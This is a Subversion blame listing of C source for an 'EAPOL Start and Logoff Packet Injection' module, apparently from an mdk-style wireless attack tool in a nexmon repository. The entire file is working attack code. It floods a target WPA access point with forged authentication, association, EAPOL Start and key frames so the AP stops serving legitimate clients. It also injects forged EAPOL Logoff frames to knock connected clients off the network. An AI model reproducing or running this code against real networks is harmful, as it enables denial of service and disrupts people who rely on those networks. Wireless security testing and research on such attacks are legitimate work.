nexmon – Blame information for rev 1

Subversion Repositories:
Rev:
Rev Author Line No. Line
1 office 1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <unistd.h>
4 #include <string.h>
5  
6 #include "eapol.h"
7 #include "../osdep.h"
8 #include "../mac_addr.h"
9 #include "../helpers.h"
10  
11 #define EAPOL_MODE 'e'
12 #define EAPOL_NAME "EAPOL Start and Logoff Packet Injection"
13  
14 #define GOT_BEACON 'b'
15 #define GOT_AUTH 'a'
16 #define GOT_ASSOC 's'
17 #define GOT_KEY1 '1'
18  
19 #define BEACON_TAG_WPA1 0xDD
20 #define BEACON_TAG_RSN 0x30
21 #define BEACON_TAG_MSFT 0x0050F201
22  
23 #define LLC_TYPE_EAPOL 0x888E
24 #define EAPOL_LOGOFF_LEN 36
25  
26  
27 struct eapol_options {
28 struct ether_addr *target;
29 unsigned int speed;
30 unsigned char attack_type;
31 };
32  
33 char *target_ssid = NULL;
34 uint16_t target_capabilities = 0x0000;
35 char *target_wpa1 = NULL;
36 char *target_rsn = NULL;
37  
38 uint32_t auths = 0;
39 uint32_t assocs = 0;
40 uint32_t eapols = 0;
41 uint32_t starts = 0;
42 uint32_t logoffs = 0;
43 struct ether_addr cur_logoff;
44  
45 void eapol_shorthelp()
46 {
47 printf(" Floods an AP with EAPOL Start frames to keep it busy with fake sessions\n");
48 printf(" and thus disables it to handle any legitimate clients.\n");
49 printf(" Or logs off clients by injecting fake EAPOL Logoff messages.\n");
50 }
51  
52 void eapol_longhelp()
53 {
54 printf( " Floods an AP with EAPOL Start frames to keep it busy with fake sessions\n"
55 " and thus disables it to handle any legitimate clients.\n"
56 " Or logs off clients by injecting fake EAPOL Logoff messages.\n"
57 " -t <bssid>\n"
58 " Set target WPA AP\n"
59 " -s <pps>\n"
60 " Set speed in packets per second (Default: 400)\n"
61 " -l\n"
62 " Use Logoff messages to kick clients\n");
63 }
64  
65  
66 void *eapol_parse(int argc, char *argv[]) {
67 int opt;
68 struct eapol_options *eopt = malloc(sizeof(struct eapol_options));
69  
70 eopt->target = NULL;
71 eopt->attack_type = 's';
72 eopt->speed = 400;
73  
74 while ((opt = getopt(argc, argv, "t:ls:")) != -1) {
75 switch (opt) {
76 case 't':
77 eopt->target = malloc(sizeof(struct ether_addr));
78 *(eopt->target) = parse_mac(optarg);
79 break;
80 case 's':
81 eopt->speed = (unsigned int) atoi(optarg);
82 break;
83 case 'l':
84 eopt->attack_type = 'l';
85 break;
86 default:
87 eapol_longhelp();
88 printf("\n\nUnknown option %c\n", opt);
89 return NULL;
90 }
91 }
92  
93 if (! eopt->target) {
94 eapol_longhelp();
95 printf("\n\nTarget must be specified.\n");
96 return NULL;
97 }
98  
99 return (void *) eopt;
100 }
101  
102 char *decode_cipher(char cipher) {
103 static char *tkip = "TKIP";
104 static char *unknown = "???";
105 static char *ccmp = "CCMP";
106  
107 if (cipher == 0x02) return tkip;
108 if (cipher == 0x04) return ccmp;
109 return unknown;
110 }
111  
112 char *decode_keymgmt(char kmgmt) {
113 static char *psk = "PSK";
114 static char *wpa = "WPA";
115 static char *unknown = "???";
116  
117 if (kmgmt == 0x02) return psk;
118 if (kmgmt == 0x01) return wpa;
119 return unknown;
120 }
121  
122 void decode_tag_wpa(unsigned char *tag) {
123 unsigned char *ctag = tag, *atag;
124 uint32_t i;
125  
126 if (tag[0] == BEACON_TAG_WPA1) {
127 printf(" WPA 1 Info : Type %d, Version %d\n", tag[5], tag[6]);
128 tag += 4;
129 } else {
130 printf(" WPA 2 RSN : Version %d\n", tag[2]);
131 }
132 printf(" Multicast cipher %02X (%s)\n", tag[7], decode_cipher(tag[7]));
133  
134 for (i = 0; i < tag[8]; i++) {
135 ctag = tag + 13 + (4 * i);
136 printf(" Unicast cipher %02X (%s)\n", ctag[0], decode_cipher(ctag[0]));
137 }
138  
139 for (i = 0; i < ctag[1]; i++) {
140 atag = ctag + 6 + (4 * i);
141 printf(" Key Mgmt Suite %02X (%s)\n", atag[0], decode_keymgmt(atag[0]));
142 }
143 }
144  
145 void decode_beacon(struct packet *beacon) {
146 unsigned char *tags = beacon->data + sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed);
147  
148 target_ssid = get_ssid(beacon, NULL);
149 target_capabilities = get_capabilities(beacon);
150  
151 printf("Received Beacon from target:\n");
152 printf(" SSID : %s\n", target_ssid);
153 printf(" Capabilities: %04X\n", target_capabilities);
154  
155 while (tags < (beacon->data + beacon->len)) {
156 if (tags[0] == BEACON_TAG_WPA1) {
157 if (*((uint32_t *)(tags + 2)) == htobe32(BEACON_TAG_MSFT)) {
158 decode_tag_wpa(tags);
159 target_wpa1 = malloc(2 + tags[1]);
160 memcpy(target_wpa1, tags, 2 + tags[1]);
161 }
162 }
163 if (tags[0] == BEACON_TAG_RSN) {
164 decode_tag_wpa(tags);
165 target_rsn = malloc(2 + tags[1]);
166 memcpy(target_rsn, tags, 2 + tags[1]);
167 memset(target_rsn + tags[1], 0x00, 2); //Zero out RSN capabilities
168 }
169 tags += (tags[1] + 2);
170 }
171 }
172  
173 struct packet build_eapol(struct ether_addr *target, struct ether_addr *client, uint8_t rsn_version, uint64_t rsn_replay) {
174 struct packet pkt;
175  
176 create_ieee_hdr(&pkt, IEEE80211_TYPE_DATA, 't', AUTH_DEFAULT_DURATION, *target, *client, *target, SE_NULLMAC, 0);
177 add_llc_header(&pkt, LLC_TYPE_EAPOL);
178  
179 if (! target_rsn) {
180 add_eapol(&pkt, 2 + target_wpa1[1], (uint8_t *) target_wpa1, 1, rsn_version, rsn_replay);
181 } else {
182 add_eapol(&pkt, 2 + target_rsn[1], (uint8_t *) target_rsn, 2, rsn_version, rsn_replay);
183 }
184 return pkt;
185 }
186  
187 struct packet build_eapol_start_logoff(struct ether_addr *target, struct ether_addr *client, uint8_t start_logoff) {
188 struct packet pkt;
189  
190 create_ieee_hdr(&pkt, IEEE80211_TYPE_DATA, 't', AUTH_DEFAULT_DURATION, *target, *client, *target, SE_NULLMAC, 0);
191 add_llc_header(&pkt, LLC_TYPE_EAPOL);
192  
193 pkt.data[pkt.len] = 0x01;
194 pkt.data[pkt.len+1] = start_logoff;
195 pkt.data[pkt.len+2] = 0x00;
196 pkt.data[pkt.len+3] = 0x00;
197  
198 pkt.len += 4;
199 return pkt;
200 }
201  
202 struct packet eapol_logoff(struct ether_addr *target) {
203 struct packet sniffed;
204 struct ether_addr *bssid = NULL, *client = NULL;
205 struct ieee_hdr *hdr;
206  
207 do {
208 sniffed = osdep_read_packet();
209 if (sniffed.len == EAPOL_LOGOFF_LEN) continue; //Skip own packets!
210 hdr = (struct ieee_hdr *) sniffed.data;
211 bssid = get_bssid(&sniffed);
212  
213 if (hdr->flags & 0x02) { //FromDS
214 client = get_destination(&sniffed);
215 } else {
216 client = get_source(&sniffed);
217 }
218  
219 if ((hdr->type == IEEE80211_TYPE_DATA) || (hdr->type == IEEE80211_TYPE_QOSDATA)) {
220 if (MAC_MATCHES(*bssid, *target)) break;
221 }
222 } while(1);
223  
224 logoffs++;
225 MAC_COPY(cur_logoff, *client);
226 return build_eapol_start_logoff(target, client, 2);
227 }
228  
229 struct packet eapol_getpacket(void *options) {
230 struct eapol_options *eopt = (struct eapol_options *) options;
231 struct packet sniffed, pkt;
232 struct ieee_hdr *hdr;
233 struct ether_addr *bssid = NULL, *client = NULL;
234 char usable_packet = 0, pack_type = 0;
235 static char need_beacon = 2, blocks_auth = 0;
236 static struct packet old;
237 uint8_t rsn_version = 0;
238 uint64_t rsn_replay = 0;
239  
240 if (need_beacon == 2) { old.len = 0; need_beacon = 1; } //init
241  
242 sleep_till_next_packet(eopt->speed);
243  
244 if (eopt->attack_type == 'l') return eapol_logoff(eopt->target);
245  
246 do {
247 sniffed = osdep_read_packet();
248  
249 if (old.len == sniffed.len) {
250 if (! memcmp(old.data + 2, sniffed.data + 2, old.len - 2)) {
251 continue; //Its a retry, skip it
252 }
253 }
254  
255 old = sniffed;
256  
257 hdr = (struct ieee_hdr *) sniffed.data;
258  
259 if (hdr->type == IEEE80211_TYPE_BEACON) {
260 bssid = get_bssid(&sniffed);
261 if (MAC_MATCHES(*bssid, *(eopt->target))) {
262 usable_packet = 1; pack_type = GOT_BEACON;
263 if (need_beacon) decode_beacon(&sniffed);
264 need_beacon = 0;
265 }
266 }
267  
268 if (! need_beacon) {
269  
270 if (hdr->type == IEEE80211_TYPE_AUTH) {
271 usable_packet = 1; pack_type = GOT_AUTH;
272 client = get_destination(&sniffed);
273 if (! blocks_auth) {
274 struct auth_fixed *af = (struct auth_fixed *) (sniffed.data + sizeof(struct ieee_hdr));
275 if (af->status != AUTH_STATUS_SUCCESS) {
276 printf("\rAP starts blocking Authentication :) \n");
277 blocks_auth = 1;
278 }
279 }
280 }
281  
282 if (hdr->type == IEEE80211_TYPE_ASSOCRES) {
283 usable_packet = 1; pack_type = GOT_ASSOC;
284 client = get_destination(&sniffed);
285 if (blocks_auth < 2) {
286 if ((sniffed.data[sizeof(struct ieee_hdr) + 2] != 0x00) || (sniffed.data[sizeof(struct ieee_hdr) + 3] != 0x00)) {
287 printf("\rAP starts blocking Association :) \n");
288 blocks_auth = 2;
289 }
290 }
291 }
292  
293 if ((hdr->type == IEEE80211_TYPE_DATA) || (hdr->type == IEEE80211_TYPE_QOSDATA)) {
294 struct llc_header *llc = (struct llc_header *) (sniffed.data + sizeof(struct ieee_hdr));
295 if (llc->type == htobe16(LLC_TYPE_EAPOL)) {
296 struct rsn_auth *rsn = (struct rsn_auth *) (sniffed.data + sizeof(struct ieee_hdr) + sizeof(struct llc_header));
297 usable_packet = 1; pack_type = GOT_KEY1;
298 client = get_destination(&sniffed);
299 rsn_version = rsn->version;
300 rsn_replay = rsn->replay_counter;
301 }
302 }
303  
304 if (client && MAC_MATCHES(*client, *(eopt->target))) usable_packet = 0; //Thats one of our packets...
305 }
306 } while(! usable_packet);
307  
308 switch (pack_type) {
309 case GOT_BEACON:
310 pkt = create_auth(*bssid, generate_mac(MAC_KIND_RANDOM), 1);
311 auths++;
312 break;
313 case GOT_AUTH:
314 pkt = create_assoc_req(*client, *(eopt->target), target_capabilities, target_ssid, 54);
315 assocs++;
316 if (! target_rsn) {
317 if (!target_wpa1) {
318 printf("\rERROR: AP sends no WPA tags, AP does not support WPA, exiting...\n");
319 pkt.len = 0; return pkt;
320 }
321 memcpy(pkt.data + pkt.len, target_wpa1, target_wpa1[1] + 2);
322 pkt.len += target_wpa1[1] + 2;
323 } else {
324 memcpy(pkt.data + pkt.len, target_rsn, target_rsn[1] + 2);
325 pkt.len += target_rsn[1] + 2;
326 }
327 break;
328 case GOT_ASSOC:
329 pkt = build_eapol_start_logoff(eopt->target, client, 1);
330 starts++;
331 break;
332 case GOT_KEY1:
333 pkt = build_eapol(eopt->target, client, rsn_version, rsn_replay);
334 eapols++;
335 break;
336 default: //Somethings wrong....
337 pkt.len = 0;
338 }
339  
340 return pkt;
341 }
342  
343  
344 void eapol_print_stats(void *options) {
345 struct eapol_options *eopt = (struct eapol_options *) options;
346  
347 if (eopt->attack_type == 'l') {
348 printf("\rLogoff messages sent: %6d Currently Logging off: ", logoffs); print_mac(cur_logoff); printf("\n");
349 } else {
350 printf("\rInjected: Authentication: %6d Association: %6d EAP Start : %6d EAP Key: %6d\n", auths, assocs, starts, eapols);
351 }
352 }
353  
354  
355 void eapol_perform_check(void *options) {
356 //Nothing to check
357 options = options; //Avoid unused warning
358 }
359  
360  
361 struct attacks load_eapol() {
362 struct attacks this_attack;
363 char *eapol_name = malloc(strlen(EAPOL_NAME) + 1);
364 strcpy(eapol_name, EAPOL_NAME);
365  
366 this_attack.print_shorthelp = (fp) eapol_shorthelp;
367 this_attack.print_longhelp = (fp) eapol_longhelp;
368 this_attack.parse_options = (fpo) eapol_parse;
369 this_attack.get_packet = (fpp) eapol_getpacket;
370 this_attack.print_stats = (fps) eapol_print_stats;
371 this_attack.perform_check = (fps) eapol_perform_check;
372 this_attack.mode_identifier = EAPOL_MODE;
373 this_attack.attack_name = eapol_name;
374  
375 return this_attack;
376 }